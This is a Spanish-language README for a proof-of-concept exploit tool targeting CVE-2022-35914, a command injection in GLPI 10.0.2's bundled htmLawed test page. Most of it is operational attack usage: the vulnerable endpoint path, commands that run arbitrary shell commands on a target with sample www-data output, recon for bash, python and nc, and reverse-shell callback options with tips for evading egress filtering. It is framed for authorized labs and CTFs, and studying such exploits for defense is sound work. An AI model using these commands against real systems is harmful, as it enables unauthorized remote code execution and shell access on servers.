
PoC exploit para CVE-2022-35914 — inyección de comandos en htmLawed de GLPI v.10.0.2, ejecución de comandos y soporte de reverse shell.
PoC para CVE-2022-35914, una vulnerabilidad de inyección de comandos que involucra el componente de prueba htmLawed en instalaciones vulnerables de GLPI.
La herramienta proporciona ejecución de comandos a través del endpoint vulnerable e incluye funcionalidad de callback opcional para entornos de laboratorio autorizados.
Descargo de responsabilidad: Este proyecto está destinado únicamente a pruebas de seguridad autorizadas, CTFs, laboratorios de OffSec/PG y fines educativos. No lo utilice contra sistemas sin autorización explícita.
| Campo | Detalles |
|---|---|
| CVE | CVE-2022-35914 |
| Software | GLPI v.10.0.2 |
| Componente | htmLawed |
| Endpoint vulnerable | /vendor/htmlawed/htmlawed/htmLawedTest.php |
El componente vulnerable puede permitir la ejecución de comandos a través de parámetros manipulados en instalaciones afectadas.
Python 3 y las dependencias necesarias.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
Clonar el repositorio:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
Hacer el script ejecutable:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
Ejemplo de salida:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
La opción -c especifica el comando a ejecutar.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| Opción | Descripción | Predeterminado |
|---|---|---|
-u, --url | URL o dirección IP objetivo | Requerido |
-c, --cmd | Comando a ejecutar | id |
--check | Verificar el objetivo sin ejecutar un comando | Deshabilitado |
--user-agent | User-Agent HTTP personalizado | Predeterminado |
-p, --rport | Puerto del servicio HTTP objetivo | 80 |
-l, --lhost | Dirección IP de callback/listener | — |
-lp, --lport | Puerto de callback/listener | — |
La opción -p / --rport especifica el puerto donde se ejecuta el servicio web GLPI vulnerable.
Predeterminado:
80
Ejemplo:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
Use --check para verificar que la página de prueba de htmLawed esté disponible sin ejecutar un comando:
python3 glpi.py -u TARGET_IP --check
Se puede proporcionar un User-Agent HTTP personalizado con:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
El script admite parámetros de callback opcionales:
-l IP de callback/listener
-lp Puerto de callback/listener
Ejemplo:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
En este ejemplo:
Target: TARGET_IP:80
Callback: LHOST:80
Los dos puertos tienen propósitos diferentes:
-p = Puerto HTTP del GLPI objetivo
-lp = Puerto de callback/listener
Durante las pruebas en un entorno de laboratorio de OffSec, el callback funcionó correctamente sobre el puerto TCP 80.
Otros puertos de callback, como 4444, pueden agotar el tiempo de espera dependiendo de la red del laboratorio y del filtrado de salida.
Para el entorno probado:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
El listener se configuró en la interfaz VPN de Kali usando el puerto TCP 80.
Importante: El uso del puerto 80 para el callback es una observación específica del entorno. No es un requisito de CVE-2022-35914.
Primero verifique la ejecución de comandos:
python3 glpi.py -u TARGET_IP -c 'id'
Compruebe si existen las utilidades necesarias:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
Si la ejecución de comandos funciona pero el callback agota el tiempo de espera, verifique el enrutamiento de la VPN y el puerto de callback.
Si el análisis de la salida del comando falla, la respuesta HTTP completa se guarda en:
/tmp/glpi.html
Inspecciónela con:
less /tmp/glpi.html
o:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
Para el entorno de laboratorio de OffSec probado:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Este proyecto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
El autor no es responsable de ningún uso indebido, daño, acceso no autorizado o actividad ilegal relacionada con este software.
Obtenga siempre autorización explícita antes de probar un sistema.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 por cyb3rk0ala